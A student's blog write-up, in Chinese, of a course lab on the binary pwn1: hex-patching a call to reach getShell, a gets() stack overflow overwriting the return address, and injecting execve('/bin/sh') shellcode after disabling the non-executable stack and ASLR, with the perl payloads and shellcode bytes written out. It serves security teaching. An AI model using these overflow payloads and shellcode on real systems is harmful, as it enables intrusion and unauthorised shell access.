首页 > 基础资料 博客日记
20253904 2025-2026-2 《网络攻防实践》第九周作业
2026-05-31 19:30:02基础资料围观1次
20253904 2025-2026-2 《网络攻防实践》第九周作业
Part 1 软件安全攻防--缓冲区溢出和shellcode
1. 实验环境
实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验环境:
- 硬件环境:
- GPU:NVIDIA GeForce RTX 5070 Ti Laptop
- CPU:AMD Ryzen 9 9955HX(16 核)
- 软件环境:
- 操作系统:Windows 11 家庭中文版
- 虚拟化平台:VMware Workstation 16.2.4
- 虚拟机镜像:Kali Linux 2025.4
2. 实验内容
在实验开始前,首先按照要求修改一下主机名称,输入hostname dhp改变主机姓名,当然光这样是不够的,还需要修改一下配置文件,输入下面两条指令:
echo "127.0.0.1 localhost dhp" >> /etc/hosts
echo "::1 localhost dhp" >> /etc/hosts

图 2.1 修改hostname和相关配置
接下来可以通过visudo -c查看一下是否有语法错误。

图 2.2 查看是否有语法拼写错误
可以看到没有错误,输入sudo -k和sudo su重启,然后修改配置让这个配置持久化,重启依然是现在设置的用户名。

图 2.3 重启sudo并持久化配置
(1)手工修改可执行文件
通过共享文件夹把pwn1复制到虚拟机上,按照要求改个名字,然后通过objdump -d pwn1_20253904dhp | more查看他的反汇编文件。

图 2.4 查看pwn1反汇编结果
直接向下找到getshell,foo,main三个函数这里,注意main函数里面的call相关的参数。

图 2.5 查看main函数
注意这里e8这条call是相对跳转,实际的计算方式是:目标地址 = call指令的下一条指令地址 + 位移,可以看到下一条指令的地址是0x80484ba,要跳转到getshell,也就是要跳转到其程序对应的地址0x804847d,计算得到新的位移为:0x804847d - 0x80484ba = -0x3d,转32位补码得到0x100000000 − 0x3d = 0xFFFFFFC3,接下来直接vim进入pwn1进行修改,先输入:%!xxd把文件转成十六进制,方便查看和修改。

图 2.6 vim查看pwn1,并改成十六进制
在vim命令行输入/d7ff来定位到偏移量对应的文本。

图 2.8 定位偏移量对应的位置
把d7改为c3

图 2.9 修改偏移量
接下来保存文件,保存之前记得输入:%!xxd -r把文件从十六进制还原成最开始的格式,不然会导致文件彻底损失,修改完后:wq保存。

图 2.10 还原文件格式后保存
通过./pwn1_20253904dhp运行一下程序,输入一些命令行的常见指令,可以看到都能正常得到结果,说明已经取得了shell的控制权。

图 2.11 运行文件检查修改结果,成功实现了攻击
利用foo函数的Bof漏洞触发getShell函数
回看一下main函数的内容,可以注意到两个关键点:
- 使用了C语言的gets函数,它只接收一个缓冲区指针,不接收缓冲区大小,因此完全不检查输入长度,会一直往里写,直到读到换行或文件结束为止。可以利用它制造缓冲区溢出。
- 可以看到其缓冲区起点是 ebp−0x1c,保存的返回地址在 ebp+4,两者间隔为 offset = (ebp+4) − (ebp−0x1c) = 0x1c + 4 = 0x20 = 32 字节。换句话说,前32字节是占位填充,第33~36字节正好落在返回地址上。

图 2.13 分析main函数
因此,可以这样构造一个攻击字符串,首先填充32个a占位,然后拼接getshell程序的地址:0x0804847d,输入perl -e 'print "a" x 32; print "\x7d\x84\x04\x08"' > input_20253904dhp生成攻击用字符串

图 2.14 生成攻击字符串
接下来用(cat input_20253904dhp; cat) | ./pwn1_20253904dhp喂给程序,成功获得了shell控制权,可以输入一些常见指令验证攻击是否成功。

图 2.15 夺取shell控制权,验证攻击成功
注入自制的shellcode并运行
为了完成这个任务,需要解决两个linux自带的防护机制。
首先是现代ELF会默认把栈标记为不可执行,shellcode写到栈上也跳不过去。需要用execstack 修改栈标记。kali上没有execstack,先通过下列指令安装一个:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

图 2.16 安装execstack
安装好后输入execstac -s pwn1_20253904dhp修改栈标记,然后可以通过execstac -q pwn1_20253904dhp验证一下,输出X说明栈标记已经可以执行了。

图 2.17 修改栈标记并检查修改结果
第二个要解决的是栈的基址随机化问题,需要把攻击地址固定下来,输入echo0 | sudo tee /proc/sys/kernel/randomize_va_space,输出0说明已经把地址固定了。

图 2.18 固定栈的基址
接下来构建一个shellcode,输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253904dhp,注意最后的\x4\x3\x2\x1\都是占位符,代替的是返回地址的位置,接下来通过gdb来查看具体的返回地址。

图 2.19 构建shellcode
运行(cat input_20253904dhp; cat) | ./pwn1_20253904dhp,注意注入的shellcode的末尾(\x00)不是换行,gets会阻塞进程。

图 2.20 注入shellcode并阻塞进程
接下来需要新开一个终端,首先查看此时pwn1运行的进程,输入ps -ef | grep pwn1_20253904dhp。

图 2.21 查看pwn1进程编号
可以看到此时的进程id是37912,启动gdb,输入attach 37912接入进程。

图 2.22 启动gdb并接入进程
通过disassemble foo可以看到最后ret命令对应的地址为0x080484ae,在这里通过break *0x080484ae加入一个断点。

图 2.23 查看ret命令对应的地址并植入断点
输入c让程序继续运行,此时回到第一个终端那边按一下回车,让他运行到ret,然后回到gdb,可以看到断点已经阻断了程序运行。

图 2.24 断点阻断程序运行
输入info r esp,可以看到此时的栈顶指针的位置为:0xffffd31c。

图 2.25 查看栈顶指针位置
由0xffffd31c + 4 = 0xffffd320就可以得到真实的返回地址,修改shellcode,删去占位符填入返回地址后,得到新的注入指令:
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253904dhp
输入后成功夺取了shell,可以输入一些常见指令检查是否成功。

图 2.26 夺取shell控制权,验证攻击成功
Part 2 学习总结
1. 知识点总结
2. 学习中遇到的问题与解决
问题1: 通过hostname修改主机名后,sudo相关指令均报错。
问题1解决方案: 需要同步修改配置文件,修改后可以正常运行。
问题2: 安装gdb时出现如下错误:

图 2.27 安装gdb时报错
问题2解决方案: apt没更新,输入apt update后可以正常下载。
3. 学习感悟与思考
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!
标签:
上一篇:上位机程序发布打包成安装包---Inno Setup
下一篇:没有了
相关文章
最新发布
- 20253904 2025-2026-2 《网络攻防实践》第九周作业
- 上位机程序发布打包成安装包---Inno Setup
- 【EF Core】继承策略——TPT
- Solon Server 启动模式深度解析:从 0.3MB 内核到 10+ Server 插件
- Agent工厂与A2A网络——AgentMesh设计思路
- AT_abc460_f 解题报告
- [开源] 全屏时钟 / Full Clock:放弃 time.is,用 Svelte 5 写了一个极致纯净的全屏时钟,解决秒数焦虑
- [Python]标准库argparse解析命令行参数使用介绍
- 2026御网杯线上挑战赛Pwn的wp
- XGBoost + SHAP 一键生成 10 张出版级模型解释图

